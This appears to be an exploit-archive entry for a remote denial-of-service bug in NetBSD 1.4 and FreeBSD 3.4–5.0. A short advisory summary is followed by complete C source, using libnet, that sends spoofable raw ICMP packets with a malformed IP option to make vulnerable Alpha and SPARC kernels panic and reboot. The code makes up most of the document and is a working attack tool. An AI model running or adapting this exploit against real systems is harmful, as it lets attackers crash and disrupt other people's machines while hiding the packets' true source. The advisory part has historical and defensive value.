FreeBSD 3.4/4.0/5.0 / NetBSD 1.4 - Unaligned IP Option Denial of Service

// source: https://www.securityfocus.com/bid/1173/info

A vulnerability exists in the 1.4.x NetBSD kernel that may allow remote attackers to cause the machine to kernel panic on certain architectures. By sending a packet to a machine running the Alpha or SPARC versions of NetBSD, with an unaligned IP timestamp option, it is possible to cause the kernel to perform an unaligned memory access. This will cause a panic, causing the machine to reboot.

x86 and arm32 platforms have a similar bug. However, as both of these architectures can perform unaligned memory accesses, this vulnerability does not cause them to panic.

It was later determined that FreeBSD, a 4.xBSD derivative like NetBSD, is also vulnerable to this problem.


#include <stdio.h>
#include <libnet.h>
/* Remote denial-of-service in IP stack 
   simple exploit by y3t1
                     y3t1@rast.lodz.pdi.net

Gretzzz : rastlin,z33d,vanitas,DYZIU,Kuki,vx,zx,korie,kaneda,
          d3cker&mroowka,jarv33s,funkySh,Shadow,tmoggie
	  all from :
	           #hwa.hax0r.news@efnet
	           #darnet@efnet
*/
int rand_n(u_long zakres)
{
  return 1+(int) ((float)zakres*rand()/(RAND_MAX+1.0));
}

int main(int argc, char **argv)
{
    char a;
    int sock, c,pkt,ile;
    struct hostent *host;
    u_long src_ip, dst_ip;
    u_char *buf;
    u_char options[4];
    int option_s  = sizeof(options);
    struct ipoption ipopt;
    srand(time(NULL));
    ile=100; 
    printf("  -= Remote denial-of-service in IP stack =- \n");
    printf("\n");
    printf("                          by y3t1/team140\n");
    printf("                             y3t1@rast.lodz.pdi.net \n");
    printf("\n");
    if  (argc < 4) 
    {
     printf("%s -s src_addr -d dst_addr -p packets\n",argv[0]);
     printf(" -s src_addr - source address \n");
     printf(" -d dst_addr - dest address \n");
     printf(" -p packets - how many packets send to dest (default 100)\n");
     exit(1);
    }
   opterr=0;
   while((a=getopt(argc,argv,"s:d:p:"))!=EOF)
   {
	switch(a) {
	 case 's': { 
	           if ((host=gethostbyname(optarg))!=NULL)
		   bcopy(host->h_addr,&src_ip,host->h_length);
		   else src_ip=inet_addr(optarg);
		   break;
		   }
	 case 'd': {   
	           if ((host=gethostbyname(optarg))!=NULL)
		   bcopy(host->h_addr,&dst_ip,host->h_length);
		   else dst_ip=inet_addr(optarg);
	      	   break;
                   }
         case 'p': {
	            ile=atoi(optarg);
		    break; 
		   }
	 }
   }
    bzero(options,option_s);
    buf = malloc(IP_MAXPACKET);
    if (!buf)
    {
        perror("malloc");
        exit(-1);
    }
    sock = libnet_open_raw_sock(IPPROTO_RAW);
    if (sock == -1)
    {
        perror("socket");
        exit(-1);
    }
    libnet_build_ip(LIBNET_ICMP_H ,0,242,0,48,IPPROTO_ICMP,src_ip,dst_ip,NULL,0,buf);                          
    memcpy(ipopt.ipopt_list, options, option_s);
    *(ipopt.ipopt_list)     = IPOPT_RR;
    *(ipopt.ipopt_list+1)   = 3;
    *(ipopt.ipopt_list+2)   = 0xff;
    *(ipopt.ipopt_list+3)   = 0;
    c = libnet_insert_ipo(&ipopt,option_s,buf);                                                
    if (c == -1)
    {
        printf("Error\n");
	exit(1);
    }
    libnet_build_icmp_echo(ICMP_ECHO,0,242,31337,NULL,0,buf+LIBNET_IP_H+option_s);
    if (libnet_do_checksum(buf,IPPROTO_ICMP,LIBNET_ICMP_ECHO_H)==-1)
    {
     printf("can't do checksum \n");
    }
 for (pkt=0;pkt<ile;pkt++)
 {
    buf[22]=rand_n(0xff);
    c = libnet_write_ip(sock, buf, LIBNET_ICMP_ECHO_H + LIBNET_IP_H + option_s);
 }
    free(buf);
    libnet_close_raw_sock(sock);   
}